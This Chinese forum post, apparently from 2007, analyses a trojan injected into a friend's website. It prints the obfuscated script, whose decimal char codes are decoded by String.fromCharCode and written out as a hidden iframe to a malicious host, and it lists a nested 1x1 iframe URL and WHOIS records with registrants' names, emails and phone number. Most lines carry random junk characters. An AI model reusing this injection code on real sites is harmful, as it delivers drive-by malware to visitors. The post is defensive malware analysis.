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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, >L7s[vKn  
/ ;]5X  
http://www.areway.cn/?p=175 Jz@~$L  
?8b19DMK6  
!|cg=  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: GtA`0B  
          Fhoyji4  
<script>t=’60,105,102,114,97,109,101, 2QfN.<[-  
32,115,114,99,61,104,116,116,112,58,47,47, drq3=2  
102,114,101,101,46,117,45,117,117,117,46,99, ]R__$fl`8  
110,47,101,114,114,111,114,46,104,116,109, kx"1 0Vw  
32,119,105,100,116,104,61,49,48,48,32,104, &.?XntI9O  
101,105,103,104,116,61,48,62,60,47,105,102, m~=~DMj  
114,97,109,101,62′; $<}c[Nm  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> #~u0R>=  
                                                                                                  LFp "Waiv  
<script>t=’60,105,102,114,97,109,101,32,115, +{J8,^z#  
114,99,61,104,116,116,112,58,47,47,102,114, )- C3z   
101,101,46,117,45,117,117,117,46,99,110,47, 0 'QWa{dS\  
101,114,114,111,114,46,104,116,109,32,119, P15 H[<:Fz  
105,100,116,104,61,49,48,48,32,104,101,105, CD|[PkjW  
103,104,116,61,48,62,60,47,105,102,114,97, "LMj,qZ1!  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); %`Re {%1;  
document.write(t);</script> tXD$HeBB?  
                                                                                                  bzg C+yT  
<html xmlns=” \o9 \i kR  
http://www.w3.org/1999/xhtml JAPr[O&  
“> _VtQMg|u  
<head> P]_d;\ !"v  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 2eT?qCxqc  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> dUI5,3*  
<title>首页 - 爱生活家庭网 'D\Q$q  
                                                                                                                                                    I=Y>z ^4  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 (i1JRn-f  
转换字符串后的大概内容是(谁点击后果自付): vvoxK0  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… / HTY>b  
                                                                                                                                  GD W@/oQr  
查询玉米u-uuu.cn的详细信息: 'rQ"Dc1D  
Domain Name: u-uuu.cn Ui{%q @  
ROID: 20070901s10001s64972306-cn v3tJtb^'!  
Domain Status: ok bOS)vt*V  
Registrant Organization: 王雷 <n"BPXF~  
Registrant Name: 王雷 8[^'PIz  
Administrative Email: czlovexs@126.com i!wU8 @  
Sponsoring Registrar: 北京万网志成科技有限公司  {_rfhz  
Name Server:ns.yovole.com $6hPTc<C  
Name Server:ns1.yovole.com =YO ]m<  
Registration Date: 2007-09-01 17:54 5j%G7.S\  
Expiration Date: 2008-09-01 17:54 6 SSDc/  
最后PING了一下地址 都没有什么…. \l%xuT  
                                                                                                3a/n/_D  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. Y.tx$%  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 4w4B\Na>l  
<script language=”javascript” src=” YO6BzS/~  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script cTqkM@S  
> cNs'GfD}  
这个玉米应该有可能是木马作者的: !3v&+Jrf6  
foafau.info的详细信息: (~T*yH ~  
Access to INFO WHOIS information is provided to assist persons in 2ZH+fV?.  
determining the contents of a domain name registration record in the  Cs,H#L  
Afilias registry database. The data in this record is provided by +n3I\7G>  
Afilias Limited for informational purposes only, and Afilias does not 2_o#Gx'  
guarantee its accuracy.  This service is intended only for query-based nQ%HtXt;  
access. You agree that you will use this data only for lawful purposes vW63j't_  
and that, under no circumstances will you use this data to: (a) allow, {h<D/:^v  
enable, or otherwise support the transmission by e-mail, telephone, or @ [$_cGR7  
facsimile of mass unsolicited, commercial advertising or solicitations {7o#Ve  
to entities other than the data recipient’s own existing customers; or s0kp(t!fiu  
(b) enable high volume, automated, electronic processes that send gT+/nSrLV  
queries or data to the systems of Registry Operator, a Registrar, or enoj4g7em^  
Afilias except as reasonably necessary to register domain names or i;[y!U  
modify existing registrations. All rights reserved. Afilias reserves FhE{khc#  
the right to modify these terms at any time. By submitting this query, 1v o)]ff  
you agree to abide by this policy. azcPeAe  
Domain ID:D22418703-LRMS <N<Q9}`V  
Domain Name:FOAFAU.INFO +Y\:Q<eMFg  
Created On:20-Nov-2007 16:05:42 UTC I7f ^2  
Last Updated On:20-Nov-2007 16:05:44 UTC f)I5=Ijy(  
Expiration Date:20-Nov-2008 16:05:42 UTC tF2"IP.  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ~5 ^Jv m  
Status:CLIENT DELETE PROHIBITED 3Ob.OwA  
Status:CLIENT RENEW PROHIBITED R[WiW RfD  
Status:CLIENT TRANSFER PROHIBITED |"H 2'L$  
Status:CLIENT UPDATE PROHIBITED ~z,o):q1 }  
Status:TRANSFER PROHIBITED (!j#u)O  
Registrant ID:GODA-040110615 6CJMQi,kn  
Registrant Name:liu hong 8;PkuJR_]  
Registrant Organization: yNTd_XPL  
Registrant Street1:beijing IThd\#=  
Registrant Street2: &W `xZyb3  
Registrant Street3: R>Ra~ b  
Registrant City:beijing n|`3d~9$&  
Registrant State/Province: n ]ikc|  
Registrant Postal Code:100000 c:[k+_Zr  
Registrant Country:CN >rnVT K  
Registrant Phone:+86.860108888777 Z$oy;j99y  
Registrant Phone Ext.: h}bfZL  
Registrant FAX: E?m~DYnU  
Registrant FAX Ext.: q76POytV|  
Registrant Email:bbbshiji@163.com 'CLZ7 pV  
Admin ID:GODA-240110615 qnm_#!&uHT  
Admin Name:liu hong (8nv&|  
Admin Organization: ]@q%dsz  
Admin Street1:beijing en<mm#Ab  
Admin Street2: Lu.zc='\  
Admin Street3: UHBXq;?&q  
Admin City:beijing K^- 1M?  
Admin State/Province: w~'xZ?  
Admin Postal Code:100000 9&Y@g)+2  
Admin Country:CN @Z)|_  
Admin Phone:+86.860108888777 \l+v,ELX=  
Admin Phone Ext.: _03?XUKV  
Admin FAX: 6&3,fSP  
Admin FAX Ext.: !, 4ag1  
Admin Email:bbbshiji@163.com V0ze7tSG[f  
Billing ID:GODA-340110615 8^mE<  
Billing Name:liu hong |rmelQ-  
Billing Organization: 4=PjS<Lu8  
Billing Street1:beijing CB@7XUR  
Billing Street2: :qYp%Ub  
Billing Street3: ~zp8%lEe  
Billing City:beijing "TRS(d|3  
Billing State/Province: E&[5b4D@<  
Billing Postal Code:100000 7]{g^g.9-  
Billing Country:CN 9+.wj/75  
Billing Phone:+86.860108888777 D0. )%  
Billing Phone Ext.: %E?Srs}j  
Billing FAX: J0G@]H  
Billing FAX Ext.: H DVimoOq  
Billing Email:bbbshiji@163.com {>&~kM@  
Tech ID:GODA-140110615 De$AJl  
Tech Name:liu hong "W<Y1$Y=Y  
Tech Organization: 'uPAG;)m  
Tech Street1:beijing P5S ]h  
Tech Street2: %&ejO= r  
Tech Street3: cx}Yu8  
Tech City:beijing J8|MK.oD  
Tech State/Province: Daf|.5>(@  
Tech Postal Code:100000 :uL<UD,vu3  
Tech Country:CN ;m/e|_4;y  
Tech Phone:+86.860108888777 nF3}wCe)  
Tech Phone Ext.: O&%'j  
Tech FAX: +ikSa8)*i  
Tech FAX Ext.: 9u=A:n\  
Tech Email:bbbshiji@163.com 4;`z6\u9-  
Name Server:NS27.DOMAINCONTROL.COM ~/OY1~c  
Name Server:NS28.DOMAINCONTROL.COM fv+]iK<{  
Name Server: ^BsT>VSH6  
Name Server: *dBy<dIy  
Name Server: 3bEcKA_z(  
Name Server: y]9R#\P/  
Name Server: \i.]-k  
Name Server: dab]>% M  
Name Server: ]>3Y~KH(  
Name Server: )|gw5N4;  
Name Server: 3o.x<G(  
Name Server: M!&Hn,22  
Name Server: {UNH?2  
                                                                                                          MBLZ:A| C  
接着下载每个文件里面的代码: xJq|,":gj  
一步一步看.. q8 v iC|  
qpQ;,8X-"  
N:j 7J  
:;?$5h*|`  
2a d|v]  
">V&{a-C4  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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